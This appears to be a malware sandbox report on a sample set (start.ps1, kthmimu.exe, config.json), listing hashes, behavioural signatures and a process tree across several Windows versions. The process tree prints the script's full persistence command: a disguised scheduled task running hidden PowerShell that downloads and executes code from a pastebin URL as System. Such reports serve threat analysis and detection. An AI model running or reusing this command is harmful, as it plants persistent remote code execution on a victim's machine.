Overview
overview
10Static
static
10config.json
windows10-ltsc 2021-x64
3config.json
windows7-x64
3config.json
windows10-2004-x64
3config.json
windows10-ltsc 2021-x64
3config.json
windows11-21h2-x64
3kthmimu.exe
windows10-ltsc 2021-x64
1kthmimu.exe
windows7-x64
1kthmimu.exe
windows10-2004-x64
1kthmimu.exe
windows10-ltsc 2021-x64
1kthmimu.exe
windows11-21h2-x64
1start.ps1
windows10-ltsc 2021-x64
3start.ps1
windows7-x64
3start.ps1
windows10-2004-x64
3start.ps1
windows10-ltsc 2021-x64
3start.ps1
windows11-21h2-x64
3Analysis
-
max time kernel
295s -
max time network
296s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241211-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
20-12-2024 03:47
Behavioral task
behavioral1
Sample
config.json
Resource
win10ltsc2021-20241211-en
Behavioral task
behavioral2
Sample
config.json
Resource
win7-20240903-en
Behavioral task
behavioral3
Sample
config.json
Resource
win10v2004-20241007-en
Behavioral task
behavioral4
Sample
config.json
Resource
win10ltsc2021-20241211-en
Behavioral task
behavioral5
Sample
config.json
Resource
win11-20241007-en
Behavioral task
behavioral6
Sample
kthmimu.exe
Resource
win10ltsc2021-20241211-en
Behavioral task
behavioral7
Sample
kthmimu.exe
Resource
win7-20241010-en
Behavioral task
behavioral8
Sample
kthmimu.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
kthmimu.exe
Resource
win10ltsc2021-20241211-en
Behavioral task
behavioral10
Sample
kthmimu.exe
Resource
win11-20241007-en
Behavioral task
behavioral11
Sample
start.ps1
Resource
win10ltsc2021-20241211-en
Behavioral task
behavioral12
Sample
start.ps1
Resource
win7-20240708-en
Behavioral task
behavioral13
Sample
start.ps1
Resource
win10v2004-20241007-en
Behavioral task
behavioral14
Sample
start.ps1
Resource
win10ltsc2021-20241211-en
Behavioral task
behavioral15
Sample
start.ps1
Resource
win11-20241007-en
General
-
Target
start.ps1
-
Size
2KB
-
MD5
2208ff484b710fa97536c08039a5c25c
-
SHA1
928c408e0668dd397464901f60ecaf559e9cece3
-
SHA256
5504e6eed79410349928af05caf3cbd4a8dc878ca68666dc348dee80dc31bc66
-
SHA512
0fd07a3f022438e009e7c9215f8e04643cba4c5ae678cfd4c3bcd9c468cff7ef9c8018622f82deee3ddcc29d62333014a8beff08c1ebee13b0a4f3cb4fbd9c1c
Malware Config
Signatures
-
pid Process 4928 powershell.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4656 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4928 powershell.exe 4928 powershell.exe 4928 powershell.exe 4928 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4928 powershell.exe Token: SeLockMemoryPrivilege 1948 kthmimu.exe Token: SeLockMemoryPrivilege 1948 kthmimu.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1948 kthmimu.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4928 wrote to memory of 4656 4928 powershell.exe 84 PID 4928 wrote to memory of 4656 4928 powershell.exe 84 PID 4928 wrote to memory of 1948 4928 powershell.exe 85 PID 4928 wrote to memory of 1948 4928 powershell.exe 85 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\start.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4928 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /sc MINUTE /mo 100 /tn "\Microsoft\windows\.NET Framework\log4" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''https://pastebin.com/raw/wG9Cy8HP'''))'" /F /ru System2⤵
- Scheduled Task/Job: Scheduled Task
PID:4656
-
-
C:\Users\Admin\AppData\Local\Temp\kthmimu.exe"C:\Users\Admin\AppData\Local\Temp\kthmimu.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1948
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82